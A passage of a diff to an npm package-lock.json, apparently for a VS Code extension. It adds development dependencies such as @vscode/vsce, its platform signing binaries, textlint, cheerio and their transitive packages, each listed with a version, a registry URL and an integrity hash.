+      "integrity": "sha512-Nqc90v4lWCXyakD6xNyNACBJNJ0tNCwj2WNk/7ivyacYHxiITVgmLUFXTBOeCdy79iz6HtN9Y31uw/jbLrdOAg==",
+      "dev": true,
+      "license": "MIT",
+      "engines": {
+        "node": ">=20.0.0"
+      }
+    },
+    "node_modules/@sindresorhus/merge-streams": {
+      "version": "2.3.0",
+      "resolved": "https://registry.npmjs.org/@sindresorhus/merge-streams/-/merge-streams-2.3.0.tgz",
+      "integrity": "sha512-LtoMMhxAlorcGhmFYI+LhPgbPZCkgP6ra1YL604EeF6U98pLlQ3iWIGMdWSC+vWmPBWBNgmDBAhnAobLROJmwg==",
+      "dev": true,
+      "license": "MIT",
+      "engines": {
+        "node": ">=18"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
+      }
+    },
     "node_modules/@standard-schema/spec": {
       "version": "1.1.0",
       "resolved": "https://registry.npmjs.org/@standard-schema/spec/-/spec-1.1.0.tgz",
@@ -1449,6 +1876,67 @@
       "dev": true,
       "license": "MIT"
     },
+    "node_modules/@textlint/ast-node-types": {
+      "version": "15.7.1",
+      "resolved": "https://registry.npmjs.org/@textlint/ast-node-types/-/ast-node-types-15.7.1.tgz",
+      "integrity": "sha512-Wii5UgUKFEh9Uv6wbq1zr4/Kf+dtjiUuzPrrXzKp8H+ifkvKNzi23V4Nz+6wVyHQn5T28AFuc8VH8OtzvGYecA==",
+      "dev": true,
+      "license": "MIT"
+    },
+    "node_modules/@textlint/linter-formatter": {
+      "version": "15.7.1",
+      "resolved": "https://registry.npmjs.org/@textlint/linter-formatter/-/linter-formatter-15.7.1.tgz",
+      "integrity": "sha512-TdwZ/debWYFD05K3CcoHtwvnCrza29wZxD+BjDTk/V5N7iRqkK1dTTHSD4A8AIgROLiDkHJmIKQbasbmsg8AvA==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "@azu/format-text": "^1.0.2",
+        "@azu/style-format": "^1.0.1",
+        "@textlint/module-interop": "15.7.1",
+        "@textlint/resolver": "15.7.1",
+        "@textlint/types": "15.7.1",
+        "chalk": "^4.1.2",
+        "debug": "^4.4.3",
+        "js-yaml": "^4.1.1",
+        "lodash": "^4.18.1",
+        "pluralize": "^2.0.0",
+        "string-width": "^4.2.3",
+        "strip-ansi": "^6.0.1",
+        "table": "^6.9.0",
+        "text-table": "^0.2.0"
+      }
+    },
+    "node_modules/@textlint/linter-formatter/node_modules/pluralize": {
+      "version": "2.0.0",
+      "resolved": "https://registry.npmjs.org/pluralize/-/pluralize-2.0.0.tgz",
+      "integrity": "sha512-TqNZzQCD4S42De9IfnnBvILN7HAW7riLqsCyp8lgjXeysyPlX5HhqKAcJHHHb9XskE4/a+7VGC9zzx8Ls0jOAw==",
+      "dev": true,
+      "license": "MIT"
+    },
+    "node_modules/@textlint/module-interop": {
+      "version": "15.7.1",
+      "resolved": "https://registry.npmjs.org/@textlint/module-interop/-/module-interop-15.7.1.tgz",
+      "integrity": "sha512-Jg+sQW2L/cRJypk59wtcMUVVpt8vmit5ZMT3gUnFwevP3A6Qp1HfOtUy9ObT4hBX3lOSGT/ekcCDxR1pL7uH1g==",
+      "dev": true,
+      "license": "MIT"
+    },
+    "node_modules/@textlint/resolver": {
+      "version": "15.7.1",
+      "resolved": "https://registry.npmjs.org/@textlint/resolver/-/resolver-15.7.1.tgz",
+      "integrity": "sha512-8XnO0pgF6mXnm41VvWmBbEIdGPhiCUt31uLZkOis1ECeg/1SoUcIT6Mx/F0e1rukq8l0UlOSeY9a31CsvRMK0g==",
+      "dev": true,
+      "license": "MIT"
+    },
+    "node_modules/@textlint/types": {
+      "version": "15.7.1",
+      "resolved": "https://registry.npmjs.org/@textlint/types/-/types-15.7.1.tgz",
+      "integrity": "sha512-Vye/GmFNBTgVzZFtIFJTmLB+s2A7oIADxNG6r9UhfPuY+Czv0z5G3xeyFZZudPlfxURsKUyPIU5XsjOFqVp33A==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "@textlint/ast-node-types": "15.7.1"
+      }
+    },
     "node_modules/@types/chai": {
       "version": "5.2.3",
       "resolved": "https://registry.npmjs.org/@types/chai/-/chai-5.2.3.tgz",
@@ -1483,6 +1971,20 @@
         "undici-types": "~6.21.0"
       }
     },
+    "node_modules/@types/normalize-package-data": {
+      "version": "2.4.4",
+      "resolved": "https://registry.npmjs.org/@types/normalize-package-data/-/normalize-package-data-2.4.4.tgz",
+      "integrity": "sha512-37i+OaWTh9qeK4LSHPsyRC7NahnGotNuZvjLSgcPzblpHB3rrCJxAOgI5gCdKm7coonsaX1Of0ILiTcnZjbfxA==",
+      "dev": true,
+      "license": "MIT"
+    },
+    "node_modules/@types/sarif": {
+      "version": "2.1.7",
+      "resolved": "https://registry.npmjs.org/@types/sarif/-/sarif-2.1.7.tgz",
+      "integrity": "sha512-kRz0VEkJqWLf1LLVN4pT1cg1Z9wAuvI6L97V3m2f5B76Tg8d413ddvLBPTEHAZJlnn4XSvu0FkZtViCQGVyrXQ==",
+      "dev": true,
+      "license": "MIT"
+    },
     "node_modules/@types/vscode": {
       "version": "1.109.0",
       "resolved": "https://registry.npmjs.org/@types/vscode/-/vscode-1.109.0.tgz",
@@ -1500,6 +2002,21 @@
         "@types/node": "*"
       }
     },
+    "node_modules/@typespec/ts-http-runtime": {
+      "version": "0.3.7",
+      "resolved": "https://registry.npmjs.org/@typespec/ts-http-runtime/-/ts-http-runtime-0.3.7.tgz",
+      "integrity": "sha512-JVUD8X2tfDMWjcjLs4yVxxVrS8yR5vnh386GAXT9Qj79nBxxXSaHFQZg5FweLmT8HlPQ3kii6noUB+Z9RN7DvQ==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "http-proxy-agent": "^7.0.0",
+        "https-proxy-agent": "^7.0.0",
+        "tslib": "^2.6.2"
+      },
+      "engines": {
+        "node": ">=22.0.0"
+      }
+    },
     "node_modules/@vitest/expect": {
       "version": "4.0.18",
       "resolved": "https://registry.npmjs.org/@vitest/expect/-/expect-4.0.18.tgz",
@@ -1618,23 +2135,241 @@
       "dev": true,
       "license": "CC-BY-4.0"
     },
-    "node_modules/ajv": {
-      "version": "8.17.1",
-      "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.17.1.tgz",
-      "integrity": "sha512-B/gBuNg5SiMTrPkC+A2+cW0RszwxYmn6VYxB/inlBStS5nx6xHIt/ehKRhIMhqusl7a8LjQoZnjCs5vhwxOQ1g==",
+    "node_modules/@vscode/vsce": {
+      "version": "3.9.2",
+      "resolved": "https://registry.npmjs.org/@vscode/vsce/-/vsce-3.9.2.tgz",
+      "integrity": "sha512-XSxMosEEDO6vLxELAHVkwmhC0qe0ijZni2jB9Rcs8kQsW4lhTDQ/wMzmwFs/buotAWSnpmUp/dRWD2ufG3UYKA==",
       "dev": true,
       "license": "MIT",
       "dependencies": {
-        "fast-deep-equal": "^3.1.3",
-        "fast-uri": "^3.0.1",
-        "json-schema-traverse": "^1.0.0",
-        "require-from-string": "^2.0.2"
+        "@azure/identity": "^4.1.0",
+        "@secretlint/node": "^10.1.2",
+        "@secretlint/secretlint-formatter-sarif": "^10.1.2",
+        "@secretlint/secretlint-rule-no-dotenv": "^10.1.2",
+        "@secretlint/secretlint-rule-preset-recommend": "^10.1.2",
+        "@vscode/vsce-sign": "^2.0.0",
+        "azure-devops-node-api": "^12.5.0",
+        "chalk": "^4.1.2",
+        "cheerio": "^1.0.0-rc.9",
+        "cockatiel": "^3.1.2",
+        "commander": "^12.1.0",
+        "form-data": "^4.0.0",
+        "glob": "^13.0.6",
+        "hosted-git-info": "^4.0.2",
+        "jsonc-parser": "^3.2.0",
+        "leven": "^3.1.0",
+        "markdown-it": "^14.1.0",
+        "mime": "^1.3.4",
+        "minimatch": "^10.2.2",
+        "parse-semver": "^1.1.1",
+        "read": "^1.0.7",
+        "secretlint": "^10.1.2",
+        "semver": "^7.5.2",
+        "tmp": "^0.2.3",
+        "typed-rest-client": "^1.8.4",
+        "url-join": "^4.0.1",
+        "xml2js": "^0.5.0",
+        "yauzl": "^3.2.1",
+        "yazl": "^2.2.2"
       },
-      "funding": {
+      "bin": {
+        "vsce": "vsce"
+      },
+      "engines": {
+        "node": ">= 20"
+      },
+      "optionalDependencies": {
+        "keytar": "^7.7.0"
+      }
+    },
+    "node_modules/@vscode/vsce-sign": {
+      "version": "2.0.9",
+      "resolved": "https://registry.npmjs.org/@vscode/vsce-sign/-/vsce-sign-2.0.9.tgz",
+      "integrity": "sha512-8IvaRvtFyzUnGGl3f5+1Cnor3LqaUWvhaUjAYO8Y39OUYlOf3cRd+dowuQYLpZcP3uwSG+mURwjEBOSq4SOJ0g==",
+      "dev": true,
+      "hasInstallScript": true,
+      "license": "SEE LICENSE IN LICENSE.txt",
+      "optionalDependencies": {
+        "@vscode/vsce-sign-alpine-arm64": "2.0.6",
+        "@vscode/vsce-sign-alpine-x64": "2.0.6",
+        "@vscode/vsce-sign-darwin-arm64": "2.0.6",
+        "@vscode/vsce-sign-darwin-x64": "2.0.6",
+        "@vscode/vsce-sign-linux-arm": "2.0.6",
+        "@vscode/vsce-sign-linux-arm64": "2.0.6",
+        "@vscode/vsce-sign-linux-x64": "2.0.6",
+        "@vscode/vsce-sign-win32-arm64": "2.0.6",
+        "@vscode/vsce-sign-win32-x64": "2.0.6"
+      }
+    },
+    "node_modules/@vscode/vsce-sign-alpine-arm64": {
+      "version": "2.0.6",
+      "resolved": "https://registry.npmjs.org/@vscode/vsce-sign-alpine-arm64/-/vsce-sign-alpine-arm64-2.0.6.tgz",
+      "integrity": "sha512-wKkJBsvKF+f0GfsUuGT0tSW0kZL87QggEiqNqK6/8hvqsXvpx8OsTEc3mnE1kejkh5r+qUyQ7PtF8jZYN0mo8Q==",
+      "cpu": [
+        "arm64"
+      ],
+      "dev": true,
+      "license": "SEE LICENSE IN LICENSE.txt",
+      "optional": true,
+      "os": [
+        "alpine"
+      ]
+    },
+    "node_modules/@vscode/vsce-sign-alpine-x64": {
+      "version": "2.0.6",
+      "resolved": "https://registry.npmjs.org/@vscode/vsce-sign-alpine-x64/-/vsce-sign-alpine-x64-2.0.6.tgz",
+      "integrity": "sha512-YoAGlmdK39vKi9jA18i4ufBbd95OqGJxRvF3n6ZbCyziwy3O+JgOpIUPxv5tjeO6gQfx29qBivQ8ZZTUF2Ba0w==",
+      "cpu": [
+        "x64"
+      ],
+      "dev": true,
+      "license": "SEE LICENSE IN LICENSE.txt",
+      "optional": true,
+      "os": [
+        "alpine"
+      ]
+    },
+    "node_modules/@vscode/vsce-sign-darwin-arm64": {
+      "version": "2.0.6",
+      "resolved": "https://registry.npmjs.org/@vscode/vsce-sign-darwin-arm64/-/vsce-sign-darwin-arm64-2.0.6.tgz",
+      "integrity": "sha512-5HMHaJRIQuozm/XQIiJiA0W9uhdblwwl2ZNDSSAeXGO9YhB9MH5C4KIHOmvyjUnKy4UCuiP43VKpIxW1VWP4tQ==",
+      "cpu": [
+        "arm64"
+      ],
+      "dev": true,
+      "license": "SEE LICENSE IN LICENSE.txt",
+      "optional": true,
+      "os": [
+        "darwin"
+      ]
+    },
+    "node_modules/@vscode/vsce-sign-darwin-x64": {
+      "version": "2.0.6",
+      "resolved": "https://registry.npmjs.org/@vscode/vsce-sign-darwin-x64/-/vsce-sign-darwin-x64-2.0.6.tgz",
+      "integrity": "sha512-25GsUbTAiNfHSuRItoQafXOIpxlYj+IXb4/qarrXu7kmbH94jlm5sdWSCKrrREs8+GsXF1b+l3OB7VJy5jsykw==",
+      "cpu": [
+        "x64"
+      ],
+      "dev": true,
+      "license": "SEE LICENSE IN LICENSE.txt",
+      "optional": true,
+      "os": [
+        "darwin"
+      ]
+    },
+    "node_modules/@vscode/vsce-sign-linux-arm": {
+      "version": "2.0.6",
+      "resolved": "https://registry.npmjs.org/@vscode/vsce-sign-linux-arm/-/vsce-sign-linux-arm-2.0.6.tgz",
+      "integrity": "sha512-UndEc2Xlq4HsuMPnwu7420uqceXjs4yb5W8E2/UkaHBB9OWCwMd3/bRe/1eLe3D8kPpxzcaeTyXiK3RdzS/1CA==",
+      "cpu": [
+        "arm"
+      ],
+      "dev": true,
+      "license": "SEE LICENSE IN LICENSE.txt",
+      "optional": true,
+      "os": [
+        "linux"
+      ]
+    },
+    "node_modules/@vscode/vsce-sign-linux-arm64": {
+      "version": "2.0.6",
+      "resolved": "https://registry.npmjs.org/@vscode/vsce-sign-linux-arm64/-/vsce-sign-linux-arm64-2.0.6.tgz",
+      "integrity": "sha512-cfb1qK7lygtMa4NUl2582nP7aliLYuDEVpAbXJMkDq1qE+olIw/es+C8j1LJwvcRq1I2yWGtSn3EkDp9Dq5FdA==",
+      "cpu": [
+        "arm64"
+      ],
+      "dev": true,
+      "license": "SEE LICENSE IN LICENSE.txt",
+      "optional": true,
+      "os": [
+        "linux"
+      ]
+    },
+    "node_modules/@vscode/vsce-sign-linux-x64": {
+      "version": "2.0.6",
+      "resolved": "https://registry.npmjs.org/@vscode/vsce-sign-linux-x64/-/vsce-sign-linux-x64-2.0.6.tgz",
+      "integrity": "sha512-/olerl1A4sOqdP+hjvJ1sbQjKN07Y3DVnxO4gnbn/ahtQvFrdhUi0G1VsZXDNjfqmXw57DmPi5ASnj/8PGZhAA==",
+      "cpu": [
+        "x64"
+      ],
+      "dev": true,
+      "license": "SEE LICENSE IN LICENSE.txt",
+      "optional": true,
+      "os": [
+        "linux"
+      ]
+    },
+    "node_modules/@vscode/vsce-sign-win32-arm64": {
+      "version": "2.0.6",
+      "resolved": "https://registry.npmjs.org/@vscode/vsce-sign-win32-arm64/-/vsce-sign-win32-arm64-2.0.6.tgz",
+      "integrity": "sha512-ivM/MiGIY0PJNZBoGtlRBM/xDpwbdlCWomUWuLmIxbi1Cxe/1nooYrEQoaHD8ojVRgzdQEUzMsRbyF5cJJgYOg==",
+      "cpu": [
+        "arm64"
+      ],
+      "dev": true,
+      "license": "SEE LICENSE IN LICENSE.txt",
+      "optional": true,
+      "os": [
+        "win32"
+      ]
+    },
+    "node_modules/@vscode/vsce-sign-win32-x64": {
+      "version": "2.0.6",
+      "resolved": "https://registry.npmjs.org/@vscode/vsce-sign-win32-x64/-/vsce-sign-win32-x64-2.0.6.tgz",
+      "integrity": "sha512-mgth9Kvze+u8CruYMmhHw6Zgy3GRX2S+Ed5oSokDEK5vPEwGGKnmuXua9tmFhomeAnhgJnL4DCna3TiNuGrBTQ==",
+      "cpu": [
+        "x64"
+      ],
+      "dev": true,
+      "license": "SEE LICENSE IN LICENSE.txt",
+      "optional": true,
+      "os": [
+        "win32"
+      ]
+    },
+    "node_modules/agent-base": {
+      "version": "7.1.4",
+      "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-7.1.4.tgz",
+      "integrity": "sha512-MnA+YT8fwfJPgBx3m60MNqakm30XOkyIoH1y6huTQvC0PwZG7ki8NacLBcrPbNoo8vEZy7Jpuk7+jMO+CUovTQ==",
+      "dev": true,
+      "license": "MIT",
+      "engines": {
+        "node": ">= 14"
+      }
+    },
+    "node_modules/ajv": {
+      "version": "8.17.1",
+      "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.17.1.tgz",
+      "integrity": "sha512-B/gBuNg5SiMTrPkC+A2+cW0RszwxYmn6VYxB/inlBStS5nx6xHIt/ehKRhIMhqusl7a8LjQoZnjCs5vhwxOQ1g==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "fast-deep-equal": "^3.1.3",
+        "fast-uri": "^3.0.1",
+        "json-schema-traverse": "^1.0.0",
+        "require-from-string": "^2.0.2"
+      },
+      "funding": {
         "type": "github",
         "url": "https://github.com/sponsors/epoberezkin"
       }
     },
+    "node_modules/ansi-escapes": {
+      "version": "7.3.0",
+      "resolved": "https://registry.npmjs.org/ansi-escapes/-/ansi-escapes-7.3.0.tgz",
+      "integrity": "sha512-BvU8nYgGQBxcmMuEeUEmNTvrMVjJNSH7RgW24vXexN4Ven6qCvy4TntnvlnwnMLTVlcRQQdbRY8NKnaIoeWDNg==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "environment": "^1.0.0"
+      },
+      "engines": {
+        "node": ">=18"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
+      }
+    },
     "node_modules/ansi-regex": {
       "version": "5.0.1",
       "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz",
@@ -1673,6 +2408,13 @@
         "node": ">= 8"
       }
     },
+    "node_modules/argparse": {
+      "version": "2.0.1",
+      "resolved": "https://registry.npmjs.org/argparse/-/argparse-2.0.1.tgz",
+      "integrity": "sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q==",
+      "dev": true,
+      "license": "Python-2.0"
+    },
     "node_modules/array-union": {
       "version": "2.1.0",
       "resolved": "https://registry.npmjs.org/array-union/-/array-union-2.1.0.tgz",
@@ -1693,12 +2435,65 @@
         "node": ">=12"
       }
     },
+    "node_modules/astral-regex": {
+      "version": "2.0.0",
+      "resolved": "https://registry.npmjs.org/astral-regex/-/astral-regex-2.0.0.tgz",
+      "integrity": "sha512-Z7tMw1ytTXt5jqMcOP+OQteU1VuNK9Y02uuJtKQ1Sv69jXQKKg5cibLwGJow8yzZP+eAc18EmLGPal0bp36rvQ==",
+      "dev": true,
+      "license": "MIT",
+      "engines": {
+        "node": ">=8"
+      }
+    },
     "node_modules/asynckit": {
       "version": "0.4.0",
       "resolved": "https://registry.npmjs.org/asynckit/-/asynckit-0.4.0.tgz",
       "integrity": "sha512-Oei9OH4tRh0YqU3GxhX79dM/mwVgvbZJaSNaRk+bshkj0S5cfHcgYakreBjrHwatXKbz+IoIdYLxrKim2MjW0Q==",
       "license": "MIT"
     },
+    "node_modules/azure-devops-node-api": {
+      "version": "12.5.0",
+      "resolved": "https://registry.npmjs.org/azure-devops-node-api/-/azure-devops-node-api-12.5.0.tgz",
+      "integrity": "sha512-R5eFskGvOm3U/GzeAuxRkUsAl0hrAwGgWn6zAd2KrZmrEhWZVqLew4OOupbQlXUuojUzpGtq62SmdhJ06N88og==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "tunnel": "0.0.6",
+        "typed-rest-client": "^1.8.4"
+      }
+    },
+    "node_modules/balanced-match": {
+      "version": "4.0.4",
+      "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-4.0.4.tgz",
+      "integrity": "sha512-BLrgEcRTwX2o6gGxGOCNyMvGSp35YofuYzw9h1IMTRmKqttAZZVU67bdb9Pr2vUHA8+j3i2tJfjO6C6+4myGTA==",
+      "dev": true,
+      "license": "MIT",
+      "engines": {
+        "node": "18 || 20 || >=22"
+      }
+    },
+    "node_modules/base64-js": {
+      "version": "1.5.1",
+      "resolved": "https://registry.npmjs.org/base64-js/-/base64-js-1.5.1.tgz",
+      "integrity": "sha512-AKpaYlHn8t4SVbOHCy+b5+KKgvR4vrsD8vbvrbiQJps7fKDTkjkDry6ji0rUJjC0kzbNePLwzxq8iypo41qeWA==",
+      "dev": true,
+      "funding": [
+        {
+          "type": "github",
+          "url": "https://github.com/sponsors/feross"
+        },
+        {
+          "type": "patreon",
+          "url": "https://www.patreon.com/feross"
+        },
+        {
+          "type": "consulting",
+          "url": "https://feross.org/support"
+        }
+      ],
+      "license": "MIT",
+      "optional": true
+    },
     "node_modules/bidi-js": {
       "version": "1.0.3",
       "resolved": "https://registry.npmjs.org/bidi-js/-/bidi-js-1.0.3.tgz",
@@ -1722,6 +2517,62 @@
         "url": "https://github.com/sponsors/sindresorhus"
       }
     },
+    "node_modules/binaryextensions": {
+      "version": "6.11.0",
+      "resolved": "https://registry.npmjs.org/binaryextensions/-/binaryextensions-6.11.0.tgz",
+      "integrity": "sha512-sXnYK/Ij80TO3lcqZVV2YgfKN5QjUWIRk/XSm2J/4bd/lPko3lvk0O4ZppH6m+6hB2/GTu+ptNwVFe1xh+QLQw==",
+      "dev": true,
+      "license": "Artistic-2.0",
+      "dependencies": {
+        "editions": "^6.21.0"
+      },
+      "engines": {
+        "node": ">=4"
+      },
+      "funding": {
+        "url": "https://bevry.me/fund"
+      }
+    },
+    "node_modules/bl": {
+      "version": "4.1.0",
+      "resolved": "https://registry.npmjs.org/bl/-/bl-4.1.0.tgz",
+      "integrity": "sha512-1W07cM9gS6DcLperZfFSj+bWLtaPGSOHWhPiGzXmvVJbRLdG82sH/Kn8EtW1VqWVA54AKf2h5k5BbnIbwF3h6w==",
+      "dev": true,
+      "license": "MIT",
+      "optional": true,
+      "dependencies": {
+        "buffer": "^5.5.0",
+        "inherits": "^2.0.4",
+        "readable-stream": "^3.4.0"
+      }
+    },
+    "node_modules/boolbase": {
+      "version": "1.0.0",
+      "resolved": "https://registry.npmjs.org/boolbase/-/boolbase-1.0.0.tgz",
+      "integrity": "sha512-JZOSA7Mo9sNGB8+UjSgzdLtokWAky1zbztM3WRLCbZ70/3cTANmQmOdR7y2g+J0e2WXywy1yS468tY+IruqEww==",
+      "dev": true,
+      "license": "ISC"
+    },
+    "node_modules/boundary": {
+      "version": "2.0.0",
+      "resolved": "https://registry.npmjs.org/boundary/-/boundary-2.0.0.tgz",
+      "integrity": "sha512-rJKn5ooC9u8q13IMCrW0RSp31pxBCHE3y9V/tp3TdWSLf8Em3p6Di4NBpfzbJge9YjjFEsD0RtFEjtvHL5VyEA==",
+      "dev": true,
+      "license": "BSD-2-Clause"
+    },
+    "node_modules/brace-expansion": {
+      "version": "5.0.7",
+      "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-5.0.7.tgz",
+      "integrity": "sha512-7oFy703dxfY3/NLxC1fh2SUCQ0H9rmAY+5EpDVfXjUTTs+HEwR2nYaqLv+GWcTsumwxPfiz6CzCNkwXwBUwqCA==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "balanced-match": "^4.0.2"
+      },
+      "engines": {
+        "node": "18 || 20 || >=22"
+      }
+    },
     "node_modules/braces": {
       "version": "3.0.3",
       "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.3.tgz",
@@ -1735,6 +2586,96 @@
         "node": ">=8"
       }
     },
+    "node_modules/buffer": {
+      "version": "5.7.1",
+      "resolved": "https://registry.npmjs.org/buffer/-/buffer-5.7.1.tgz",
+      "integrity": "sha512-EHcyIPBQ4BSGlvjB16k5KgAJ27CIsHY/2JBmCRReo48y9rQ3MaUzWX3KVlBa4U7MyX02HdVj0K7C3WaB3ju7FQ==",
+      "dev": true,
+      "funding": [
+        {
+          "type": "github",
+          "url": "https://github.com/sponsors/feross"
+        },
+        {
+          "type": "patreon",
+          "url": "https://www.patreon.com/feross"
+        },
+        {
+          "type": "consulting",
+          "url": "https://feross.org/support"
+        }
+      ],
+      "license": "MIT",
+      "optional": true,
+      "dependencies": {
+        "base64-js": "^1.3.1",
+        "ieee754": "^1.1.13"
+      }
+    },
+    "node_modules/buffer-crc32": {
+      "version": "0.2.13",
+      "resolved": "https://registry.npmjs.org/buffer-crc32/-/buffer-crc32-0.2.13.tgz",
+      "integrity": "sha512-VO9Ht/+p3SN7SKWqcrgEzjGbRSJYTx+Q1pTQC0wrWqHx0vpJraQ6GtHx8tvcg1rlK1byhU5gccxgOgj7B0TDkQ==",
+      "dev": true,
+      "license": "MIT",
+      "engines": {
+        "node": "*"
+      }
+    },
+    "node_modules/buffer-equal-constant-time": {
+      "version": "1.0.1",
+      "resolved": "https://registry.npmjs.org/buffer-equal-constant-time/-/buffer-equal-constant-time-1.0.1.tgz",
+      "integrity": "sha512-zRpUiDwd/xk6ADqPMATG8vc9VPrkck7T07OIx0gnjmJAnHnTVXNQG3vfvWNuiZIkwu9KrKdA1iJKfsfTVxE6NA==",
+      "dev": true,
+      "license": "BSD-3-Clause"
+    },
+    "node_modules/bundle-name": {
+      "version": "4.1.0",
+      "resolved": "https://registry.npmjs.org/bundle-name/-/bundle-name-4.1.0.tgz",
+      "integrity": "sha512-tjwM5exMg6BGRI+kNmTntNsvdZS1X8BFYS6tnJ2hdH0kVxM6/eVZ2xy+FqStSWvYmtfFMDLIxurorHwDKfDz5Q==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "run-applescript": "^7.0.0"
+      },
+      "engines": {
+        "node": ">=18"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
+      }
+    },
+    "node_modules/call-bind-apply-helpers": {
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/call-bind-apply-helpers/-/call-bind-apply-helpers-1.0.2.tgz",
+      "integrity": "sha512-Sp1ablJ0ivDkSzjcaJdxEunN5/XvksFJ2sMBFfq6x0ryhQV/2b/KwFe21cMpmHtPOSij8K99/wSfoEuTObmuMQ==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "es-errors": "^1.3.0",
+        "function-bind": "^1.1.2"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      }
+    },
+    "node_modules/call-bound": {
+      "version": "1.0.4",
+      "resolved": "https://registry.npmjs.org/call-bound/-/call-bound-1.0.4.tgz",
+      "integrity": "sha512-+ys997U96po4Kx/ABpBCqhA9EuxJaQWDQg7295H4hBphv3IZg0boBKuwYpt4YXp6MZ5AmZQnU/tyMTlRpaSejg==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "call-bind-apply-helpers": "^1.0.2",
+        "get-intrinsic": "^1.3.0"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
     "node_modules/chai": {
       "version": "6.2.2",
       "resolved": "https://registry.npmjs.org/chai/-/chai-6.2.2.tgz",
@@ -1761,6 +2702,86 @@
         "url": "https://github.com/chalk/chalk?sponsor=1"
       }
     },
+    "node_modules/cheerio": {
+      "version": "1.2.0",
+      "resolved": "https://registry.npmjs.org/cheerio/-/cheerio-1.2.0.tgz",
+      "integrity": "sha512-WDrybc/gKFpTYQutKIK6UvfcuxijIZfMfXaYm8NMsPQxSYvf+13fXUJ4rztGGbJcBQ/GF55gvrZ0Bc0bj/mqvg==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "cheerio-select": "^2.1.0",
+        "dom-serializer": "^2.0.0",
+        "domhandler": "^5.0.3",
+        "domutils": "^3.2.2",
+        "encoding-sniffer": "^0.2.1",
+        "htmlparser2": "^10.1.0",
+        "parse5": "^7.3.0",
+        "parse5-htmlparser2-tree-adapter": "^7.1.0",
+        "parse5-parser-stream": "^7.1.2",
+        "undici": "^7.19.0",
+        "whatwg-mimetype": "^4.0.0"
+      },
+      "engines": {
+        "node": ">=20.18.1"
+      },
+      "funding": {
+        "url": "https://github.com/cheeriojs/cheerio?sponsor=1"
+      }
+    },
+    "node_modules/cheerio-select": {
+      "version": "2.1.0",
+      "resolved": "https://registry.npmjs.org/cheerio-select/-/cheerio-select-2.1.0.tgz",
+      "integrity": "sha512-9v9kG0LvzrlcungtnJtpGNxY+fzECQKhK4EGJX2vByejiMX84MFNQw4UxPJl3bFbTMw+Dfs37XaIkCwTZfLh4g==",
+      "dev": true,
+      "license": "BSD-2-Clause",
+      "dependencies": {
+        "boolbase": "^1.0.0",
+        "css-select": "^5.1.0",
+        "css-what": "^6.1.0",
+        "domelementtype": "^2.3.0",
+        "domhandler": "^5.0.3",
+        "domutils": "^3.0.1"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/fb55"
+      }
+    },
+    "node_modules/cheerio/node_modules/entities": {
+      "version": "6.0.1",
+      "resolved": "https://registry.npmjs.org/entities/-/entities-6.0.1.tgz",
+      "integrity": "sha512-aN97NXWF6AWBTahfVOIrB/NShkzi5H7F9r1s9mD3cDj4Ko5f2qhhVoYMibXF7GlLveb/D2ioWay8lxI97Ven3g==",
+      "dev": true,
+      "license": "BSD-2-Clause",
+      "engines": {
+        "node": ">=0.12"
+      },
+      "funding": {
+        "url": "https://github.com/fb55/entities?sponsor=1"
+      }
+    },
+    "node_modules/cheerio/node_modules/parse5": {
+      "version": "7.3.0",
+      "resolved": "https://registry.npmjs.org/parse5/-/parse5-7.3.0.tgz",
+      "integrity": "sha512-IInvU7fabl34qmi9gY8XOVxhYyMyuH2xUNpb2q8/Y+7552KlejkRvqvD19nMoUW/uQGGbqNpA6Tufu5FL5BZgw==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "entities": "^6.0.0"
+      },
+      "funding": {
+        "url": "https://github.com/inikulin/parse5?sponsor=1"
+      }
+    },
+    "node_modules/cheerio/node_modules/whatwg-mimetype": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/whatwg-mimetype/-/whatwg-mimetype-4.0.0.tgz",
+      "integrity": "sha512-QaKxh0eNIi2mE9p2vEdzfagOKHCcj1pJ56EEHGQOVxp8r9/iszLUUV7v89x9O1p/T+NlTM5W7jW6+cz4Fq1YVg==",
+      "dev": true,
+      "license": "MIT",
+      "engines": {
+        "node": ">=18"
+      }
+    },
     "node_modules/chokidar": {
       "version": "3.6.0",
       "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-3.6.0.tgz",
@@ -1786,6 +2807,14 @@
         "fsevents": "~2.3.2"
       }
     },
+    "node_modules/chownr": {
+      "version": "1.1.4",
+      "resolved": "https://registry.npmjs.org/chownr/-/chownr-1.1.4.tgz",
+      "integrity": "sha512-jJ0bqzaylmJtVnNgzTeSOs8DPavpbYgEr/b0YL8/2GO3xJEhInFmhKMUnEJQjZumK7KXGFhUy89PrsJWlakBVg==",
+      "dev": true,
+      "license": "ISC",
+      "optional": true
+    },
     "node_modules/cliui": {
       "version": "8.0.1",
